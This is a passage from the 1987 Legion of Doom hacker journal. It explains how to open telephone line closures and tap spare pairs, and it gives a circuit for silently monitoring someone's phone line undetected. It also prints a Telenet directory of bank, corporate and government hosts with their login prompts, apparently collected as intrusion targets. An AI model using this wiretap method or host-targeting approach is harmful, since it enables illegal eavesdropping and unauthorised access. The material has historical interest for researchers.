Type 1> The 49-type, 1A1, 1B1, and 1C1 closures are all functionally similar. This terminal is a semi-rectangular closure, about 15"L x 3"W x 5"H, usually black, which is connected directly to the aerial cable itself; it is coaxial with the cable, so the cable passes straight through it. It splits up to 12 pairs from the distribution cable to a small binding post terminal block inside the closure. Aerial drop wires are then connected to these binding posts, and the wires exit the terminal through holes on the bottom. These wires are strung via strain relief clamps on the pole down to the subscriber's site. The terminal closure is opened by pulling out and lifting either the whole cover or the front panel after removing the cover fasteners on the bottom and/or the sides (the closure is a thick neoprene cover over an aluminum frame). Inside the case, there is a terminal block and there may be some sort of loading coil as well. The cable and this coil are not openable, but the terminal block is. Since the F2 pair terminates in this closure, the F2 BP number (cable/assignment data) corresponds to a binding post on this terminal block. As mentioned earlier, this terminal will also contain spare pairs, in case a subscriber wants another line. In order to use one of these pairs, you must either get an F2 (and then F1) CP number from LAC using the BP, or you can put a trace tone on the pair at the aerial closure and then locate the pair at the SAI. Then a cross-connect would have to be made to an active F1 pair, and a drop wire (ughh) would have to be added back at the aerial closure. Anyway, both the binding posts as well as the holes (inside + out) are numbered left to right, so you may not even have to open the closure if you are just looking for an F2 BP number -- just trace the drop wire from the house into the numbered hole on the closure. The TErminal Address for the F2 is the address of the house or premise closest to the pole near this closure. These terminals (esp. 1A1, etc) are also used for straight and branch splices for aerial cables, so you may see one cable in / two out; also, the closure can be used for splicing only, so there may not be drop wires (in this case, it wont be listed in LMOS because it is not a terminal point). There is generally one of these every pole near a quad of houses or so, mounted on the cable about an arm's length from the pole.

Type 2> Both the 53A4 and the N-type terminals serve the same function as the 49-type just described, except they are used in situations where there are more than 4 houses (8 lines, including provisional pairs). This terminal is mounted directly on the pole, about a foot down from the aerial cable. It is not connected in line with the cable, so there is no F2 splicing area in the cabinet (rather, a cable stub comes from the terminal block and is spliced onto the span close to where it touches the pole). It is about 22"H x 9"W x 4"D, rectangular, and silver (unpainted). The door is similar to that of a 40-type cabinet, but it's much smaller; it is opened using a 7/16" tool in the same manner as before, except that the door must be lifted before it can be opened or closed. In this way, the door slides down on it's hinges when opened, so it locks in the open position and you wont have to worry about it (especially nice because hanging onto a pole is enough of a problem). The terminal block can handle from 25 to 50 pairs, with 32 holes in the back for aerial drop wires. Just

as in the Ready Access Closure, this is the F2 terminal, and the numbered binding posts and holes correspond to F2 BP numbers. The TEA will be the address nearest the terminal (just as before). This terminal is common at the first pole on a street, on cul-de-sacs, apartments, marinas & harbors, or anywhere there are many drop wires.

Buried Distribution Cross Box and Other Pedestals

This terminal serves the same function as the aerial closures, except it is used in areas with a buried distribution plant. This cable assignment for this terminal will be the F2 terminal, and the BP numbers and TEA will be the same as for the aerial terminals. Probably the most common cross-boxes are the PC4,6, and 12; these are around 50" tall by 4, 6, or 12" square respectively, and they are painted gray-green like SAI cabinets. These are the smallest pedestals in the distribution plant, and they don't have doors (they look like waist-high square poles). In order to open one of these pedestals, the two bolts on either side half way down the pedestal must be loosened with a 7/16 hex wrench; then the front cover can be lifted up, out, and off the rest of the closure. These terminals are located generally near small groups of houses (up to about 12 lines usually) on the ground, often near other utility cabinets (such as electric power transformers, etc). These are becoming more common as the new housing tracts use buried distribution plant. The F2 cable will enter as a cable stub, and it is split into service wires which go back underground to the subscribers.

All small pedestals are not necessarily the above type of terminal; these pedestal closures are often used for other purposes, such as splicing points in underground distribution, loading coil mounting, and even used as temporary wire storage containers. If the terminal contains a terminal block or it is a significant point on the line, however, it will be listed in LMOS. An example of this is a distribution path found by Mark Tabas in a Mountain Bell area -- there was a small PC12-type closure on the ground near a street in a remote suburb, and it was serving as a terminal point for a whole F1 cable. It was listed as the F1 terminal, and it was at the right TEA; however, there was no terminal block because it was a splicing point (just a bunch of pairs connected with Scotchlok plastic connectors which are hung on a bar in the pedestal closure), so LMOS had no BP number. Instead, a color code was listed (see appendix) for the pair in the splice. Anyway, the WHOLE F1 went up to an N-type closure on a pole and was split into drop wires.

Multi-Line Building Entrance Terminals

This terminal takes the aerial drop or service wires and cross-connects them over to the Inside Wire (IW) in the subscriber's building (hotels, businesses, etc). There are many different types of terminal blocks for this terminal, although by far the most common is the Western Electric 66 block. The 66-type terminal uses a block of metal clips; the wire is pushed onto the clip with a punch-down tool which also strips the wire. The block is divided into horizontal rows which can have from 2 to over 6 clips each. Since each row group terminates one pair, two rows are needed for x-connect, one on top of the other. The service or drop wire usually enters on the left, and the inside wire is connected to the far right. In order to locate a pair, usually you can visually trace either the service wire or the inside wire to the block, and often the inside wire side wil be numbered or labelled with an address, phone number, etc. It is also possible for this terminal to serve as an F2 terminal point, if there are a lot of lines. In this case, LMOS will list the TEA usually with some physical direction as to where to find it. The left side will then be numbered as F2 BP's. This terminal is also the demarcation point which separates the customer's equipment from the telco's. The new terminals often have an RJ-21 connector on the service wire side, such as a 25-pair for PABX or a Bell 1A2 Key, etc. There are also "maintenance termina-

ting units" (MTU) which are electronic units connected to the line(s) at the entrance protector; these are sometimes seen in some telcos. Basically, they provide functions such as party ANI on multi-party lines, remote disconnect (for testing or (click!) non-payment), or half ringers (the most common -- they prevent ringing continuity failures on switches like ESS when there are no phones hooked to the line when it rings). MTU terminals are often locked.

Single Pair Station Protector

There's really not much to say about this terminal. Basically, it takes the service or drop wire and connects it to the inside wire in a single line residence (houses with 2 lines will have 2 of these). These are at every house on an outside wall or basement, and there are two main types: the Western Electric 123 (with a "150-type" rubber cover), and the old WE 305 and new AT&T 200 Network interface (metal and plastic, respectively). These terminals have one binding post pair and they will have either gas discharge tubes or carbon blocks to protect the line from lightning or excess current. Obviously, there is no BP number (you just have to visually trace the drop wire to find the protector). This is also the demarcation point marking the end of the telco's responsibility, as well as the end of our tour.

****

Bell System Standard Color Code

Pair #	Tip	Ring
01-05	White	Blue
06-10	Red	Orange
11-15	Black	Green
16-20	Yellow	Brown
21-25	Violet	Slate

Use:

Take the #, and find it's closest multiple of 5. Use that number to find the Tip color, and the remainder to find the Ring color (remainder 0 = Slate). (e.g. Pair #1 = White/Brown, Pair #14 = Black/Brown, Pair #24 = Violet/Brown).

Usually if a color code is needed (such as in a splice case) you can get it from LAC or the testboard; if it's really essential, it will be in LMOS as well. This color code is also used a lot on cable ties (usually with white stripes and ring colors only), although these are often used randomly.

Test Sets

This is the "right hand" of both the professional and the amatuer lineman. Basically, it is a customized portable telephone which is designed to be hooked onto raw cable terminals in the field and used to monitor the line, talk, or dial out. The monitor function is usually the main difference between the "butt-in" test set and the normal phone. If you don't have a real test set already, the following circuit can convert a normal $4 made-in-taiwan phone into a working test set. The "all-in-one" handset units without bases are the best (I tend to like QUIK's and GTE Flip Phone II's). Anyway-

OFFICIAL Agent 04 Generic Test Set Modification (tm)

```
  Ring >----------------------------------> to "test set" phone
   Tip >------!  SPST Switch    !-------->
              !-----/ ----------!
>from         !-------/!/!/!/!--!    C = 0.22 uF  200 WVDC Mylar
cable pair    !   C       R     !    R = 10 kOhm 1/2 W
(alligators)  !--! (------------! SPST = Talk / Monitor
```

When SPST is closed, you are in talk mode; when you lift the switch-hook on the "test set" phone, you will get a dial tone as if you were a standard extension of the line you are on. You will be able to dial out and receive calls. When the SPST is opened, the resistor and capacitor are no

longer shunted, and they become part of the telephone circuit. When you lift the switchhook on the test set, you will not receive dial tone, due to the fact that the cap blocks DC, and the resistor passes less than 4 mA nominally (far below the amount necessary to saturate the supervisory ferrod on ESS or close the line relay on any other switch). However, you will be able to silently monitor all audio on the line. The cap reactance + the phone's impedance insure that you won't cut the signal too much on the phone line, which might cause a noticeable change (..expedite the shock force, SOMEONE'S ON MY LINE!!). It's also good to have a VOM handy when working outside to rapidly check for active lines or supervision states. Also, you can buy test equipment from these companies:

Techni Tool - 5 Apollo Road, Box 368. Plymouth Meeting, PA. 19462.
Specialized Products Company - 2117 W. Walnut Hill Lane, Irving, TX. 75229.

****

I am not going to include a disclaimer, because a true communications hobbyist does not abuse nor does he tamper with something he doesn't understand. This article is intended as a reference guide for responsible people.

Also, this article was written mainly from first-hand experience and information gained from maintenance technicians, test boards, as well as technical literature, so it is as accurate as possible. Keep in mind that it is mainly centered upon the area served by Pacific Telephone, so there may be some differences in the loop plant of your area. I would be happy to answer the questions of anyone interested, so feel free to contact me c/o the Technical Journal regarding anything in this article or on related topics such as ESS, loop electronics, telephone surveillance / countersurveillance, etc. I hope the article was informative.

Written by: Phucked
Agent
04

The Legion Of Doom!

Please - Por Favor - Bitte - Veuillez!
** Do not edit, abridge, fold, spindle, or mutilate.

The LOD/H Technical Journal: File #10 of 12

The Legion Of Hackers Present:
Updated: Telenet Directory
Part A: Addresses 201XXX to 415XXX
Revision #4 Last Updated: 1/1/87
(Includes available Uninet hosts)

ADDRESS	OS/COMP TYPE	SYSNAME/OWNER/RESPONSE/COMMENTS/ETC.
20101 $		
20114		NJIT Electronic Information Exchange System (EIES)
20115		NJIT Electronic Information Exchange System (EIES)
20120	IBM VM/370	
20125		NJIT Electronic Information Exchange System (EIES)
20128	TOPS-10	NDC - SYSTEM:

```
|20130  |  TOPS-10   | NDC - SYSTEM:
|20131 $|  VAX/VMS   |
|20132  |            | Dunn & Bradstreet
|20133  |  Burroughs | Running CANDE Operating System
|20134 $|  19.4.9    | Primenet MWH
|20135 $|  Prime     | (Version 18.2)
|20136  |  IBM VTAM  |
|20140  |  VM - TSO  | CPC Corporate Data Center (Englewood Cliffs NJ)
|20142  |            | "RDS #12 USER#" Remote Data Switch NJ Bell
|20151 $|  19.4.7    | Primenet USCG.B
|20153  |            | Colgate's IICS
|20155 $|  19.4.7    | Primenet USCG.B
|20159  |  19.4.10.R7| Primenet PBN31
|20166 $|  19.3.7    | Primenet SYS001
|20167  |            | Warner Computer Systems
|20168  |            | Warner Computer Systems
|20171  |            | "RDS #6 USER#" Remote Data Switch NJ Bell
|20180  |  VAX/VMS   | Agent Service Center
|20182  |            | Bankers Trust Customer Service
|20183  |            | Bankers Trust Customer Service
|20188  |            | Dunn & Bradstreet Systems
|20189  |  IBM VM/370| Prushare
|201133 |            |
|201137 |  HP-3000   |
|201139 |            | Chem Network DTSS Release 13
|201169 |  Unix 4.2  | thumper
|201171 |  IBM VTAM  | NET001
|201172 |  IBM VTAM  | NET002
|201200 |            | D & B Systems
|201201 |            | D & B Systems
|201220 |  VAX/VMS   | Investment Technologies Computer Center
|201230 |  20.2.0    | Primenet NYMCS
|201242 |            | D & B Systems
|201243 |            | D & B Systems
|201244 |            | D & B Systems
|201245 |            | D & B Systems
|201246 |            | D & B Systems
|201252$|  19.4.6    | Primenet BOR
|201255 |            | Primecom network 18-4X System 48
|201256 |            | Primecom network 18-4Q System 49
|201259 |  VAX/VMS   |
|201334 |  P-E       | "Reliance sign on screen"
|201346 |  IBM       |
|201350 |  Honeywell | "$$50 Device Type Identifier"
|201431 |  VAX/VMS   | SYS 31
|201436 |            | Primecom Network System 36
|437-448|            | Primecom Network System 37 to 48 respectively
|201449 |            | Primecom Network System 49
+-------+------------+-------------------------------------------------------+
|20210  |  Prime     |
|20230  |  IBM       | EDS Timesharing
|20232  |  IBM       | EDS Timesharing
|20234  |            | "User Number--  Help-phone 313-556-1574"
|20236 $|            | "Network sign-on failed: sign-on command expected"
|20243 $|  DG AOS/VS |
|20249  |  IBM TCAM  | "Enter system ID:"
|20299  |  TOPS-20   | The Information Service
|202108 |  Multics   | "Channel c.h126000 Please login:"
|202109 |  TOPS-20   | The Information Service
|202115$|            |
|202126 |            |
|202127 |  IBM       | EDS Timesharing
|202129 |            |
|202131 |            | USER#--
```

```
|202138$|  Port Sel. | Gallaudet Computer Services Network
|202139$|  TOPS-10   | TRI-SMP
|202140$|  TOPS-10   | TRI-SMP
|202141 |  VAX/VMS   | Telenet International Info System
|202142 |            | Telemail
|202144$|  TOPS-20   | TRI-SMP
|202156$|  VAX/VMS   | American Psychiatric Association
|202201 |            | Compuserve
|202202 |            | Compuserve
|202205 |            | GM Parts FPL
|202206 |            | GM Parts FPL
|202214 |  19.4.5    | Primenet SPA
|202218 |  19.4.11   | Primenet GEC
|202224 |            | Gm Parts FPC
|202618 |            | Compumark Search System
+-------+------------+-------------------------------------------------------+
|20321 $|  Port Sel. | "Enter Class"
|20322  |  IBM VM/370| Midd 3081
|20328  |  IBM VM/370| Midd 3081
|20334 $|            |
|20359  |  Port Sel. | Perkin-Elmer Data Network
|20364 $|            |
|20366  |            | "Login Please:"
|20373  |  VAX/VMS   | VCC C&P Occupational Health System
|203155$|  VAX/VMS   |
+-------+------------+-------------------------------------------------------+
|20520 $|            |
|20530 $|  DG AOS/VS |
|20531  |  DG AOS/VS |
|20532 $|  DG AOS/VS | R08F01D01A
|20534 $|            |
|20536 $|            |
|20537 $|  DG AOS/VS | R08F01D03A U.S. Forestry Service
|20545 $|  DG AOS/VS | R08F01D04A U.S. Forestry Service
+-------+------------+-------------------------------------------------------+
|20620 $|  HP-3000   | Boeing
|20630 $|  HP-3000   | Boeing
|20638 $|  DG AOS/VS |
|20640 $|  19.4.6.R9 | Primenet P850
|20665  |  20.1.1D   | Primenet OAD
|20672  |  Port Sel. | University of Washington
|206112 |            | DOE Online
|206158 |  Port Sel. | BCS Network
+-------+------------+-------------------------------------------------------+
|20820 $|  DG AOS/VS |
|20822 $|  DG AOS/VS | R04F15D02A
|20830 $|  DG AOS/VS | R04F02A
|20833 $|            |
|20837 $|  DG AOS/VS |
|20843 $|  DG AOS/VS |
+-------+------------+-------------------------------------------------------+
|21221  |  19.4.9    | Primenet SYSA
|21223  |  22-33     | CitiCash Manager (C/C/M)
|21225 $|  TOPS-20   | Landart Systems Inc.
|21230  |  Prime     |
|21232  |            | "Service id="
|21235  |  LAN       | IBISM Electronic Village
|21240  |            | Wilsonline
|21241  |  30-03     | C/C/M
|21243  |  05-35     | C/C/M Int'l 3
|21244  |  10-29     | C/C/M Int'l 4
|21250 $|            | "Channel 09/041 IBFS?"
|21252 $|  20.0.4    | Primenet SYSA
|21255  |  03-39     | C/C/M Int'l 2
```

21256	22-33	C/C/M
21258		
21259	VMS 4.3	Office Automation System
21260	17-41	C/C/M
21261	25-13	C/C/M
21262	25-25	C/C/M
21264	28-37	C/C/M Int'l 1
21265	03-39	C/C/M Int'l 2
21266		"Welcome"
21267	05-37	C/C/M Int'l 3
21268	10-29	C/C/M
21269		
21270	VM - TSO	Using the "Top Secret" Security Package
21278	26-37	C/C/M Int'l 7
21279		"Enter ID:"
21282		Bankers Trust Customer Service
21286 $	TOPS-20	BTSHARE
21287	04-38	C/C/M Int'l 6
21289	RSTS V7.08	IFI CITI
21290	26-40	C/C/M Int'l 7
212112	IBM VM/370	
212126$	Port Sel.	American Express Corporate Info Systems
212131	IBM VM/370	
212133$	VAX/VMS	TOBAS New York System
212137	20.2.0	Primenet NY60
212141		Telemail
212142		Telemail
212145	VAX/VMS	Office Information Systems
212146	VAX/VMS	Office Information Systems
212148		"Enter ID:"
212151	28-36	C/C/M Int'l 1
212152	VAX/VMS	
212167$	20.1	Primenet MPISBS
212169	04-39	C/C/M Int'l 6
212170$		
212173	IBM TSO	Brown Brothers Harriman Communications System
212179$	Prime	
212191		"Welcome" (Citibank)
212197$	TOPS-20	BTShare SYS B
212200		
212224$		Global Electronic Mail Service (GEMS)
212262	19.4.0	Primenet SAL.19 VNY
212269	VAX/VMS	
212279$		
212281		CitiCash Manager
212282		CitiCash Manager
212315$		
212316$		
212322$	IBM	
212328		"ENTER IDENTIFICATION:"
212338$		
212340$	Prime	
212341$	Prime	
212344$		
212350$		
212371	VAX/VMS	
212374	VAX/VMS	Business Systems Node NY01
212446$	VAX/VMS	The Dais Group

21321	19.5	Primenet Q8
21322	Unix	Interactive System 3
21323	Unix	Interactive System 3
21330 $	IBM TSO	L.E.B.
21333	IBM TSO	(Running ACF2)

```
|21335  |            | Marketron Research And Sales
|21339 $|  Port Sel. | USC - ECL Port Selector
|21344  |  IBM TSO   | SDC/ORBIT Database (Using "ACF2" Sec pkge)
|21348 $|  Port Sel. | USC - ECL Port Selector
|21370  |            | XCC-West System X2
|21372  |            | XCC-West System X3
|21373  |            | XCC-West System X1
|21384  |  Port Sel. | (MICOM 600)
|21385  |  Port Sel. | (MICOM 600)
|21388  |  19.4.2.1CS| Primenet MSCOST
|213102 |  20.0.3    | Primenet TRWE.A
|213105 |  19.4.11   | Primenet MD.WSO
|213130 |  19.3.7.R4 | Primenet P751
|213143$|            |
|213146$|            |
|213150 |  19.4.3    | Primenet MD.IRV
|213170 |            | Dialog
|213219$|  VAX/VMS   | California Tech. Physics Vax
|213236 |            | Dialog
|213245 |  Port Sel. | Litton Computer Services
|213253 |            | Xplex Cluster Controller
|213255$|            |
|213668 |  TOPS-20   |
|213717 |            | TransAmerica Financial Systems and Concepts
|213765 |  IBM TSO   | Ralph M. Parsons Network
+-------+------------+-------------------------------------------------------+
|21442  |  Prime     | DNA Online
|21444  |            | Marathon
|21456  |  20.1.1a   | Primenet BOWSER
|21460  |  HP-3000   | Welecome to the 68B HP-3000 Computer System
|21469  |            |
|21471  |  FB.3.3    | Primenet FASBAC
|21472  |  IBM TSO   | UCC  (Running "ACF2" Security Package.)
|21475  |  Univac    | UCC
|21477  |  Univac    | UCCEL FASBAC
|214110 |            | FAST-TAX - MARATHON - The Long Distance Runner
|214149 |            | FAST-TAX - MARATHON - The Long Distance Runner
|214156 |  HP-3000   | Welcome to the 68B HP-3000 Computer System
|214176 |  19.2      | Primenet UCCEL FASBAC
|214607 |  HP-3000   | Welcome to the 68B HP-3000 Computer System
|214626 |  RT-11     | CTSRTS-E1 (DIBOL)
+-------+------------+-------------------------------------------------------+
|21501  |  Prime     | Newsnet (Save as C NET)
|21505  |            |
|21531 $|  VAX/VMS   | VAX V05
|21532 $|  DG AOS/VS |
|21535 $|  IBM TSO   | IMS America
|21536  |  IBM TSO   | IMS America
|21537  |  IBM TSO   | IMS America
|21540  |            | VU/TEXT (Same as C VUTEXT)
|21545  |  IBM TSO   | IMS America
|21549  |            | Easynet  The Knowledge Gateway
|21554 $|            |
|21556  |            | GTE Telenet Async to 3270 Service
|21566  |            | Newsnet (Save as C NET)
|21567 $|  IBM       | "Command Unrecognized"
|215121 |  IBM VM/370| TPF&C Online-Phila
+-------+------------+-------------------------------------------------------+
|21630  |            | "DCS001 Please Signon"
|21632  |            | "DCS001 Please Signon"
|21638  |  VMS 4.3   | Timken Corp.
|21651 $|  HP-3000   |
|21652  |  HP-3000   |
|21654  |  19.2.12   | Primenet TRWIAE
```

```
|21665  |  18.3      | Primenet LIPA
|21666  |  18.3      | Primenet LIPA
|21679  |  HP-3000   |
|216140 |            |
+-------+------------+-------------------------------------------------------+
|21725  |  Cyber NOS | U of Illinois
|21726  |  Unix      | U of I Computing Services
|21732  |  Cyber NOS | U of I - ALL ACCOUNTS (300 Baud only)
|21735  |  VAX/VMS   | NCSAVMSB (VAX 11/785)
|21736  |  Cyber NOS | U of I - ALL ACCOUNTS (1200 Baud only)
|21740 $|            |
|21741 $|  19.3.12.X8| Primenet SPRFLD
|21742 $|            |
+-------+------------+-------------------------------------------------------+
|21830 $|  DG AOS/VS |
|21831 $|  DG AOS/VS |
|21838 $|  DG AOS/VS |
|21841 $|  DG AOS/VS |
|21845 $|  DG AOS/VS |
|21853 $|  DG AOS/VS |
|21856 $|  DG AOS/VS |
|21868 $|  DG AOS/VS |
|21875 $|  DG AOS/VS |
+-------+------------+-------------------------------------------------------+
|30120  |  IBM TSO   | National Library of Medicine
|30121 $|            | NASA Recon
|30122 $|  Multics   | Dockmaster
|30123 $|  IBM       | Cross System Communication
|30124  |            | Source System 10
|30126  |  Prime     | DNA MD1 Online
|30128  |            | Source System 13
|30131  |  19.1.6    | Primenet SYS750
|30133  |  SYS/32 VOS| United Communciations Computer Services Group
|30135  |  Unix 4.3  | nlm-vax
|30136  |            |
|30138  |            | Source System 11
|30139 $|            | CASE Communications
|30145  |            | General Electric
|30147  |            | Source System 12
|30148  |            | Source System 15
|30149  |            | Source System 14
|30152 $|  Prime     |
|30154  |  LAN       | GOULD Local Area Network
|30157  |  Burroughs | Gannet Publishing (USA Today)
|30158  |  Prime     | CDA Online Services
|30165 $|  SYS/32 VOS| United Communications Computer Services Group
|301150$|  VAX/VMS   |
|301157$|  VAX/VMS   | VAX 780 ECRUOS Hose Co.
|301170$|  SYS/32 VOS| United Communications Computer Services Group
|301635$|  Port Sel. | University of Maryland
+-------+------------+-------------------------------------------------------+
|30323  |  Prime     |
|30325  |  RSTS V7.2 | C. R. C.
|30334  |            |
|30338  |  20.0.4.R6 | Primenet SL
|30344  |  CDC Cyber |
|30350  |  DG AOS/VS |
|30354  |  DG AOS/VS |
|30357  |  20.0.4.R2 | Primenet DENVER
|30358  |            | Interactive Systems PAD
|30360 $|  DG AOS/VS |
|30361 $|  DG AOS/VS |
|30362 $|  DG AOS/VS |
|30364 $|  DG AOS/VS |
```

30365	Burroughs	Network Session (B7900 using Cande op/sys)
30366 $	DG AOS/VS	
30369 $	DG AOS/VS	
30375 $		"Incorrect Locations ID"
30378	DG AOS/VS	
303100	IBM	"Enter SW Characters"
303114$		
303115$		
303116$		
303130	DG AOS/VS	
303131		Petroleum Information Network
303133	VAX/VMS	
303134	TOPS-20	SoftSearch Network B
303135$	CDC Cyber	Colorado State University
303136	HP-3000	
303138	DG AOS/VS	
303140		Watney Network Services Unit Colorado Springs
303145	DG AOS/VS	
303146	DG AOS/VS	
303148	DG AOS/VS	
303149$		"Incorrect Locations ID"
303151	DG AOS/VS	
303164	DG AOS/VS	
303201	DG AOS/VS	
303250	DG AOS/VS	
303260	VAX/VMS	
303270	20.2.0	Primenet MD.DEN
303271	19.4.5	Primenet CS.BUS
30504	IBM	Martin Marietta
30520	HP-3000	FDP ADV1 SYS#14
30522	HP-3000	FDP PEN2 SYS#7
30523		
30529	HP-3000	FDP PEN4 SYSY#9
30537	VAX/VMS	
30556$		
30559		"LOGON"
30563	HP-3000	FDP
30573	HP-3000	
30578		Cybernet/system B Coral Gables, Florida
30579		Cybernet/system D Coral Gables, Florida
30584		
305129	HP-3000	
305136	HP-3000	
305137	HP-3000	
305138	HP-3000	
305139	HP-3000	
305140		"Invalid Command"
305148		
305149	HP-3000	
305159		VU/TEXT Please Sign On (Same as C VUTEXT)
305160		Cybernetics System C
305161		Cybernetics System A
305162		Cybernetics System D
305164		Cybernetics System D
305165		Cybernetics System B
305166		CSI Timesharing
305167		CSI Timesharing
!305168		Cybernetics System B
305169		Cybernetics System C
305172		Cybernetics System B
305226		Cybernetics System D
305239	IBM VM/370	
305248	VAX/VMS	

```
|305262$|            |
|305273 |            | Viewtron
|305276 |  VAX/VMS   |
|305644 |            | "305140H Connected"
+-------+------------+-------------------------------------------------------+
|31230  |            | "Service ID="
|31231  |  TOPS-10   | C.I.C. Timesharing
|31235  |  IBM VTAM  |
|31236  |  Port Sel. | U of Chicago computer center (Ganalf PACX 2000)
|31241  |            | C.I.C. Central Library Chicago
|31242 $|  RSTS V7.2 | Travenol SYSA
|31243 $|  RSTS V7.2 | Travenol SYSA
|31244 $|  RSTS V8.07| Travenol SYSA
|31246 $|            | "Request in violation of system security standards"
|31249  |            | American Hospital Supplies Corp.
|31250  |            | American Hospital Supplies Corp.
|31265  |  IBM TSO   |
|31270  |            | People/Link
|312120 |  IBM       | TIME Inc. Chicago Datacenter
|312121 |            | TIME Inc. "Command:"
|312131 |  IBM VM/370|
|312142 |  HP-3000   |
|312150 |            | "Enter Subscriber ID" OAG
|312159 |            | "Enter Subscriber ID" OAG
|312160 |            |
|312161 |            |
|312162 |            |
|312163 |            | "PORT = $X25F00 #VC01  USERID:?"
|312170$|  VAX/VMS   | SKVAX2
|312199 |            |
|312219 |            | Collision estimating system (TWX)
|312222 |            | "PORT = $X25F00 #VC01  USERID:?"
|312225 |  Honeywell | "$$ 50 Device Type ID"
|312227 |            | "PORT = $X25F00 #VC01  USERID:?"
|312230 |            |
|312231 |  VM - TSO  | Continental Can Company
|312233 |            | "PORT = $X25Y00 #VC01  USER ID?"
|312235 |            | "PORT = $X25Y00 #VC01  USER ID?"
|312236 |            | "Please re-enter logon proceedure"
|312237 |  IBM       |
|312239$|  IBM TSO   |
|312257 |            | "ID:   Password"
|312258 |  20.0.4    | Primenet SAM
|312266 |  RSX-11    |
|312267 |  HP-3000   |
|312270 |            |
|312275 |  19.4.5    | Primenet MD.CHI
|312276 |  19.4.2    | Primenet MD.LP1
|312626 |            | Keycom-A C00
|312629 |            | Keycom-B C00
|312632 |  IBM VM/370|
|312633 |  IBM VM/370|
|312645 |  VAX/VMS   |
+-------+------------+-------------------------------------------------------+
|31325  |            | Comshare
|31340  |            | ADP Network (Type "AID")
|31341  |            | ADP Network (Type "AID")
|31350  |            | Collision Estimating System
|31370  |  TOPS-20   | GM Timesharing
|31374  |  TOPS-20   | GM Timesharing
|31382  |  VM - TSO  | FEP009 - Multi System
|31383  |  VM - TSO  | FEP009 - Multi System
|313119 |            | "Port=$X25600 #VC09"
|313120 |            | "Port=$X25600 #VC09"
```

```
|313131 |            | "USER NUMBER--    Help Fone: 313-556-0216"
|313133 |            | "Enter Access Code"
|313134 |  19.4.9    | Primenet SYSA
|313160 |            | "Port=$X25600 #VC09"
|313161 |            | "Port=$X25600 #VC09"
|313162 |            | "Port=$X25600 #VC09"
|313163 |            | "Port=$X25600 #VC09"
|313164 |            | VU/TEXT
|313170 |            | C.A.S.C. Network "Enter Signon"
|313172 |            | Ollie CPF1107 "Password required for workstation"
|313202 |  Port Sel. | %MERIT: X25 (DT88:TX00:TI700)
|313255 |  Multics   | "Channel b.h12800"
|313256 |  Honeywell | "$$ 50 Device Type ID"
|313257$|            |
|313365 |            |
|313366 |  Port Sel. | Timeshare Network
|313367 |  Multics   | "Channel b.h10800 Please login"
|313370 |   20.0.3   | Primenet MD.DET
|313371 |   20.2.1   | Primenet CS.DET
|313372 |   19.4.9   | Primenet MD.DATA
|313373 |   20.0.3   | Primenet PTCDET
|313376 |   20.0.4   | Primenet MD.DAC
+-------+------------+-------------------------------------------------------+
|31435 $|  DG AOS/VS |
|314100 |            | WU Medical Computing Dataswitch
|314150$|            |
+-------+------------+-------------------------------------------------------+
|31520  |            | "Enter System ID" B=BRS  T=VM/CMS
|31550 $|  IBM VTAM  | Simware
+-------+------------+-------------------------------------------------------+
|31730 $|            | "ID  Incorrect Location ID"
|31731 $|            |
|31735  |            | purdue.arpa
|31736  |  VAX/VMS   |
|31738 $|            |
+-------+------------+-------------------------------------------------------+
|40125  |  20.1      | Primenet LSIS
|401612 |  Unix      | Modem City
+-------+------------+-------------------------------------------------------+
|40420  |            | SITENET (Same as C SIT)
|40427  |  20.0.3.R5 | Primenet EMA1
|40433 $|  DG AOS/VS |
|40435 $|  DG AOS/VS | R08F03D02A
|40436 $|  DG AOS/VS | S29L01A
|40437 $|  DG AOS/VS | R08F03A
|40439 $|  DG AOS/VS | S29L02A
|40451  |  Gateway   | Schering Plough Corp.
|40457  |            |
|40459  |            |
|40460  |  RSTS V8.0 | Computone
|40462  |  Unix 4.3  | emoryu2
|40463  |  IBM       | "Invalid sw characters"
|40464  |            | Martin Marietta Sim 3270
|40477  |            |
|40479  |            | "40455E Connected"
|404130$|  HP-3000   |
|404153 |            |
|404161$|            |
|404162 |            |
|404166$|            |
|404174 |            | "Welcome to Coin Support"
|404193 |            | ACRONET
|404220 |  19.4.11   | Primenet MD.ATL
|404221 |  19.4.10.R4| Primenet FNP.AT
```

```
|404230$|            |
|404248 |            |
|404249 |            |
|404256 |            |
+-------+------------+-------------------------------------------------------+
|40634  |  DG AOS/VS |
|40636  |  DG AOS/VS |
|40637  |  DG AOS/VS |
|40640  |  DG AOS/VS |
|40647  |  DG AOS/VS |
|406125$|            |
+-------+------------+-------------------------------------------------------+
|40843  |            | "Enter Destination sub-address (DN):"
|40845 $|            |
|40848 $|            |
|40849 $|            |
|40850  |            | ibm-sj.arpa  San Jose
|40858  |  VAX/VMS   | Welcome to SOMA
|408100 |            |
|408121$|            |
|408125 |  HP-3000   |
|408133 |  LAN       | Sun Micro System's X.25 Gateway
|408134$|            |
|408139$|  CDC       |
|408146$|  CDC       |
|408149$|            |
|408154 |  19.4.11   | Primenet IVAN
|408157 |  Unix      | Pyramid Technology Dual Port osx
|408159 |  VAX/VMS   |
|408171$|            |
|408235 |  DG AOS/VS | Global Weather Dynamics - MV2
|408238$|            |
|408605 |  HP-3000   | Office Automation
|408629 |            | "Welcome to the new data switch"
+-------+------------+-------------------------------------------------------+
|41220  |  Port Sel. | MSA PGH Communications Network
|41222  |  IBM TSO   | (Running ACF2)
|41223  |  IBM TSO   | (Running ACF2)
|41230  |  Port Sel. | Channel 04 - connected - Enter Class
|41247  |  IBM TSO   |
| 48-52 |  IBM TSO   |
|41255  |            | "invalid command"
|41268 $|  DG AOS/VS | R09F21D01A
|412172 |            |
|412173$|  CDC Cyber | USX PGH Service Center
|412262 |  20.0.4    | Primenet PITTCS
|412264 |  19.4.9    | Primenet MD.PIT
|412670 |  Port Sel. | Carnegie-Mellon University Micom-A
|412671 |  Port Sel. | Carnegie-Mellon University Micom-B
|412672 |  Port Sel. | C.M.U. Multi-System Network A-Z
|412703 |            | The Meccon Network
|412704 |  IBM       | (Running ACF2)
|412706 |  IBM       | (Running ACF2)
+-------+------------+-------------------------------------------------------+
|41321 $|            | (type TW81) DFH READY
+-------+------------+-------------------------------------------------------+
|41431 $|  DG AOS/VS | R09F10A
|41434 $|            |
|41435 $|            |
|41436  |  DG AOS/VS | R09F10D05A
|41438 $|            |
|41443 $|            | "ID"
|41444  |            | Welcome  Type Service Identifier
|41450  |  VAX/VMS   | Allen-Bradley CTD1
```

41507	HP-3000	.admin .a
41520		Dialog
41527	IBM 3033A	Stanford Data Center (SYS A)
41530		
41532	IBM VM/370	
41533	IBM VM/370	
